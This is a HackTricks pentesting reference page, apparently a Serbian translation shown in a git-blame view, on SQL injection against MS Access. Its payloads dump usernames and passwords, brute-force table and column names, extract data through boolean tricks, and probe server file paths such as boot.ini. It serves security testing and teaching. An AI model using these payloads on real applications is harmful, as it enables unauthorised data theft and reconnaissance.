hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

193 lines
9.7 KiB
Markdown
Raw Normal View History

2022-08-31 13:22:13 +00:00
# MS Access SQL Injection
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-08-31 13:22:13 +00:00
</details>
## Online Playground
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
2024-02-10 13:11:20 +00:00
## Ograničenja baze podataka
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
### Spajanje stringova
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
Spajanje stringova je moguće koristeći znakove `& (%26)` i `+ (%2b)`.
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
2024-02-10 13:11:20 +00:00
### Komentari
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
Nema komentara u MS Access-u, ali izgleda da je moguće ukloniti poslednji deo upita pomoću NULL karaktera:
2022-08-31 13:22:13 +00:00
```sql
1' union select 1,2 from table%00
```
2024-02-10 13:11:20 +00:00
Ako ovo ne radi, uvek možete popraviti sintaksu upita:
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Stacked Queries
2024-02-10 13:11:20 +00:00
Nisu podržane.
2022-08-31 13:22:13 +00:00
### LIMIT
2024-02-10 13:11:20 +00:00
Operator **`LIMIT`** **nije implementiran**. Međutim, moguće je ograničiti rezultate SELECT upita na **prvih N redova tabele koristeći operator `TOP`**. `TOP` prihvata kao argument celobrojnu vrednost koja predstavlja broj redova koji će biti vraćeni.
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
2024-02-10 13:11:20 +00:00
Baš kao i TOP, možete koristiti **`LAST`** koji će dobiti **redove sa kraja**.
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
## UNION Upiti/ Podupiti
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
U SQLi-u obično želite na neki način izvršiti novi upit kako biste izvukli informacije iz drugih tabela. MS Access uvek zahteva da se u **podupitima ili dodatnim upitima navede `FROM`**.\
Dakle, ako želite izvršiti `UNION SELECT` ili `UNION ALL SELECT` ili `SELECT` između zagrada u uslovu, uvek **morate navesti `FROM` sa validnim imenom tabele**.\
Stoga, morate znati **validno ime tabele**.
2022-08-31 13:22:13 +00:00
```sql
-1' UNION SELECT username,password from users%00
```
2024-02-10 13:11:20 +00:00
### Spajanje jednakosti + Podstring
2022-08-31 13:22:13 +00:00
{% hint style="warning" %}
2024-02-10 13:11:20 +00:00
Ovo će vam omogućiti da izvučete vrednosti trenutne tabele bez potrebe da znate ime tabele.
2022-08-31 13:22:13 +00:00
{% endhint %}
2024-02-10 13:11:20 +00:00
**MS Access** dozvoljava **čudnu sintaksu** kao što je **`'1'=2='3'='asd'=false`**. Kao i obično, SQL injection će biti unutar **`WHERE`** klauzule i to možemo zloupotrebiti.
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
Zamislite da imate SQLi u MS Access bazi podataka i znate (ili ste pretpostavili) da je jedno **ime kolone username**, a to je polje koje želite **izvući**. Možete proveriti različite odgovore veb aplikacije kada se koristi tehnika spajanja jednakosti i potencijalno izvući sadržaj sa **boolean injection** korišćenjem funkcije **`Mid`** za dobijanje podstringova.
2022-08-31 13:22:13 +00:00
```sql
'=(Mid(username,1,3)='adm')='
```
2024-02-10 13:11:20 +00:00
Ako znate **ime tabele** i **kolonu** koju želite da izvučete, možete koristiti kombinaciju funkcija `Mid`, `LAST` i `TOP` da **procurite sve informacije** putem boolean SQLi:
2022-08-31 13:22:13 +00:00
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
2024-02-10 13:11:20 +00:00
_Slobodno proverite ovo u online igralištu._
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
### Brute-forcing imena tabela
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
Koristeći tehniku lančanog jednako, takođe možete **bruteforceovati imena tabela** nečim poput:
2022-08-31 13:22:13 +00:00
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
2024-02-10 13:11:20 +00:00
Možete koristiti i tradicionalniji način:
2022-08-31 13:22:13 +00:00
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
2024-02-10 13:11:20 +00:00
_Slobodno proverite ovo u online igraonici._
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
* Sqlmap uobičajena imena tabela: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Postoji još jedna lista na [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
### Brute-Forcing imena kolona
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
Možete **brute-force trenutna imena kolona** pomoću trika sa lancem jednakosti sa:
2022-08-31 13:22:13 +00:00
```sql
'=column_name='
```
2024-02-10 13:11:20 +00:00
Ili sa **group by** klauzulom:
2022-08-31 13:22:13 +00:00
```sql
-1' GROUP BY column_name%00
```
2024-02-10 13:11:20 +00:00
Ili možete izvršiti brute-force napad na nazive kolona **druge tabele** pomoću:
2022-08-31 13:22:13 +00:00
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
2024-02-10 13:11:20 +00:00
### Dumpovanje podataka
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
Već smo razgovarali o [**tehnici spajanja jednakosti**](ms-access-sql-injection.md#chaining-equals-+-substring) **za dumpovanje podataka iz trenutnih i drugih tabela**. Ali postoje i druge metode:
2022-08-31 13:22:13 +00:00
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
2024-02-10 13:11:20 +00:00
Ukratko, upit koristi "if-then" izjavu kako bi pokrenuo "200 OK" u slučaju uspeha ili "500 Internal Error" u suprotnom. Iskorišćavanjem operatora TOP 10, moguće je izabrati prvih deset rezultata. Naknadna upotreba LAST omogućava razmatranje samo 10. tuple. Na takvoj vrednosti, korišćenjem operatora MID, moguće je izvršiti jednostavno poređenje karaktera. Pravilnom promenom indeksa MID i TOP, možemo izvući sadržaj polja "korisničko ime" za sve redove.
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
### Vremenski bazirano
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
Proverite [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
### Ostale interesantne funkcije
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
* `Mid('admin',1,1)` dobija podstring sa pozicije 1 dužine 1 (početna pozicija je 1)
* `LEN('1234')` dobija dužinu stringa
* `ASC('A')` dobija ASCII vrednost karaktera
* `CHR(65)` dobija string iz ASCII vrednosti
* `IIF(1=1,'a','b')` ako onda
* `COUNT(*)` Broji broj stavki
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
## Enumeracija tabela
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
Odavde [**ovde**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) možete videti upit za dobijanje imena tabela:
2022-08-31 13:22:13 +00:00
```sql
select MSysObjects.name
from MSysObjects
where
2024-02-10 13:11:20 +00:00
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
2022-08-31 13:22:13 +00:00
order by MSysObjects.name
```
2024-02-10 13:11:20 +00:00
Međutim, imajte na umu da je vrlo tipično pronaći SQL Injection gde **nemate pristup čitanju tabele `MSysObjects`**.
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
## Pristup datotečnom sistemu
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
### Puna putanja do web korenskog direktorijuma
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
Znanje o **apsolutnoj putanji do web korenskog direktorijuma može olakšati dalje napade**. Ako greške aplikacije nisu potpuno sakrivene, putanja direktorijuma može biti otkrivena pokušajem selektovanja podataka iz nepostojeće baze podataka.
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
2024-02-10 13:11:20 +00:00
MS Access odgovara **porukom o grešci koja sadrži punu putanju do web direktorijuma**.
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
### Enumeracija datoteka
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
Sledeći vektor napada može se koristiti za **utvrđivanje postojanja datoteke na udaljenom datotečnom sistemu**. Ako navedena datoteka postoji, MS Access pokreće poruku o grešci koja obaveštava da je format baze podataka nevažeći:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
2024-02-10 13:11:20 +00:00
Još jedan način za enumeraciju datoteka sastoji se u **navođenju stavke baze podataka.tablica**. **Ako** navedena **datoteka postoji**, MS Access prikazuje **poruku o grešci formata baze podataka**.
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
2024-02-10 13:11:20 +00:00
### Pogađanje imena .mdb datoteke
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
**Ime datoteke baze podataka (.mdb)** može se utvrditi pomoću sledećeg upita:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
2024-02-10 13:11:20 +00:00
Gde je **name\[i] ime .mdb datoteke** i **realTable postoji tabela** u bazi podataka. Iako će MS Access uvek pokrenuti poruku o grešci, moguće je razlikovati između nevažećeg imena datoteke i važećeg imena .mdb datoteke.
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
### .mdb Kradljivac lozinki
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) je besplatni alat koji se može koristiti za pronalaženje glavne lozinke glavne baze podataka Microsoft Access 95/97/2000/XP ili Jet Database Engine 3.0/4.0.
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
## Reference
2022-08-31 13:22:13 +00:00
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-08-31 13:22:13 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-08-31 13:22:13 +00:00
</details>